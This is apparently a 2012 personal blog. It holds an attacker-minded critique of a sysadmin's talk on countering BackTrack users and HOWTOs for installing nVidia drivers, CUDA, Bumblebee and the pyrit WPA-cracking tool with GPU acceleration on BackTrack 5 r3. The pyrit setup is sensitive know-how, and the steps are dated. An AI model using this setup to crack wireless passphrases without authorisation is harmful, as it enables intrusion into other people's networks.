Weird enough that the speaker has some qualifications of InfoSec. Overall, this talk is misleading in the view of a BackTrack user. Not recommended.

UPDATED on November 10, 2012 :

I find out that he had another 2 more talks on the same topic and spreading the same wrong information to the listeners. Too sad.

I am doubt that if the SysAdmin hack back (if any), what can he get? What can he do? As he said, shut down the attacker's box? The attacker is just using a BackTrack and if the root password has been changed, there is no chance for a SysAdmin doing something evil to the attacker. It is really doubt, in my opinion.

He even don't know the difference between 127.0.0.1 and 0.0.0.0 as he suggest to turn off CUPS as it is running as root. However, CUPS is listening to localhost and the user account running is already root. So, what does he want?

By the way, he use Denyhosts to block the unwanted SSH access, that mean he do not know how to use SSH to perform an attack.

He also suggest to disable the mail function. However, how can we (attacker) to perform an attack via mail?

I am doubt that he do not know how to use BackTrack. Not kidding!

Finally, one thing that I do agree with him is to change the root password to something else and may be changing the hostname too.

Anyway, he is just a System Administrator only but not an Information Security guy.

HOWTO : Activate nVidia GeForce GT650M on 15" MacBook Pro Retina

You are required to install the following packages.

gfxCardStatus will switch to nVidia GT650M automatically when the software running is capable for 3D acceleration, such as VirtualBox. Or, you can switch it manually.

CUDA will be loaded automatically when the softwares are using CUDA feature.

That's all! See you.

HOWTO : nVidia Optimus on Back|Track 5 r3

(A) Hardware (nVidia Optimus)

Brand : Asus n82jv-vx072v
CPU : Intel i5 450M, 2.4Ghz
RAM : 4096MB DDR3 1066
Display card : nVidia GeForce GT335M 1G VRAM DDR3

(B) Hardware (nVidia GeForce)

Any computer comes with nVidia GeForce display card that is CUDA capable.

Problem

You will be experienced to get a black screen when boot up and you cannot go further to get the Back|Track to be installed. This tutorial not only apply for Back|Track but also apply for other Linux distributions.

Solution

Step 1 :

When bootup in the "Boot Option Menu", press "Tab" (Other version of Linux will be different) and append the following to the end of the kernel option line :

text splash vga=791 i915.modeset=1 nomodeset

*** Remarks : "i915.modeset=1 nomodest" is for Optimus only. If nVidia GeForce, just need "nomodeset".

Step 2 :

Once booted up and installed, do not restart and continue to test. Mount up the hard drive and you need to edit as the following :

nano /etc/default/grub

Locate 'GRUB_CMDLINE_LINUX_DEFAULT="text splash vga=791"' and append the following :

text splash vga=791 i915.modeset=1 nomodeset

and it will be looking like this :

GRUB_CMDLINE_LINUX_DEFAULT="text splash vga=791 i915.modeset=1 nomodeset"

update-grub

The following command is for Back|Track only.

fix-splash

Step 3 :

Reboot your computer.

Step 4 (If you do Step 4a, DO NOT do this step, skip it.) :

Not to run "startx". This step should be running without X. For other Linux distributions, press "Alt + F2" to console mode.

Download CUDA 5.0 for 64-bit :

wget http://developer.download.nvidia.com/compute/cuda/5_0/rel/installers/cuda_5.0.35_linux_64_ubuntu10.04.run

Download CUDA 5.0 for 32-bit :

wget http://developer.download.nvidia.com/compute/cuda/5_0/rel/installers/cuda_5.0.35_linux_32_ubuntu10.04.run

chmod +x cuda_5.0.35_linux_64_ubuntu10.04.run

or

chmod +x cuda_5.0.35_linux_32_ubuntu10.04.run

Then run the following command.

./cuda_5.0.35_linux_64_ubuntu10.04.run

or

./cuda_5.0.35_linux_32_ubuntu10.04.run

Answer "accept" and install nVidia driver (current version is 304.54) as well as nVidia CUDA Toolkit (current is 5.0.35). If you want to install samples, please do. When asking for the path or directory, please press enter to accept the default setting.

Remarks : Please note that CUDA has an updated version.

Step 4a (Don't do with Step 4 together, only one of it) :

Not to run "startx". This step should be running without X. For other Linux distributions, press "Alt + F2" to console mode.

add-apt-repository ppa:ubuntu-x-swat/x-updates

Edit : The x-swat ppa does not work anymore. Use Back|Track repos instead. Just do the following commands only.

apt-get update
apt-get install nvidia-current nvidia-current-modaliases nvidia-settings

Your nVidia driver has been installed (current version is 304.60).

Download CUDA 5.0 for 64-bit :

wget http://developer.download.nvidia.com/compute/cuda/5_0/rel/installers/cuda_5.0.35_linux_64_ubuntu10.04.run

Download CUDA 5.0 for 32-bit :

wget http://developer.download.nvidia.com/compute/cuda/5_0/rel/installers/cuda_5.0.35_linux_32_ubuntu10.04.run

chmod +x cuda_5.0.35_linux_64_ubuntu10.04.run

or

chmod +x cuda_5.0.35_linux_32_ubuntu10.04.run

Then run the following command.

./cuda_5.0.35_linux_64_ubuntu10.04.run

or

./cuda_5.0.35_linux_32_ubuntu10.04.run

Answer "accept" and DO NOT install nVidia driver. Only install nVidia CUDA Toolkit (current is 5.0.35). If you want to install samples, please do. When asking for the path or directory, please press enter to accept the default setting.

Remarks : Please note that CUDA has an updated version.

Step 5 :

The below is for Back|Track only. If other Linux distributions, please replace "root" with any username.

nano /root/.bashrc

Append the following :

PATH=$PATH:/usr/local/cuda-5.0/bin
LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/cuda-5.0/lib:/usr/local/cuda-5.0/lib64:/lib
export PATH
export LD_LIBRARY_PATH

Or, you can do the following instead for any Linux distributions.

nano /etc/ld.so.conf.d/cuda.conf

/usr/local/cuda-5.0/bin
/usr/local/cuda-5.0/lib
/usr/local/cuda-5.0/lib64

Save and then run the following command :

ldconfig

Then, reboot.

Step 6 : (For nVidia Optimus only)

To install Bumblebee :

sudo add-apt-repository ppa:bumblebee/stable

sudo apt-get update

sudo apt-get install bumblebee bumblebee-nvidia

Then, reboot the box.

Step 7 : (For nVidia Optimus only)

To test it to see if nVidia driver is workable or not :

glxspheres

optirun glxspheres

Step 8 : (Optional)

Go to the official site of pyrit.

http://code.google.com/p/pyrit/downloads/list

Download pyrit and cpyrit-cuda (the current version is 0.4.0 at the time of this writing). Back|Track 5 r3 may installed pyrit but not for the CUDA.

tar -xzvf pyrit-0.4.0.tar.gz
cd pyrit-0.4.0
python setup.py build
python setup.py install

tar -xzvf cpyrit-cuda-0.4.0.tar.gz
cd cpyrit-cuda-0.4.0
python setup.py build
python setup.py install

To test if the installation is correct or not. If you are not using Optimus, the "optirun" is not required.

optirun pyrit list_cores
optirun pyrit benchmark
optirun pyrit benchmark_long

Finally, thank you for Malko to test it and confirm it is working.

That's all! See you.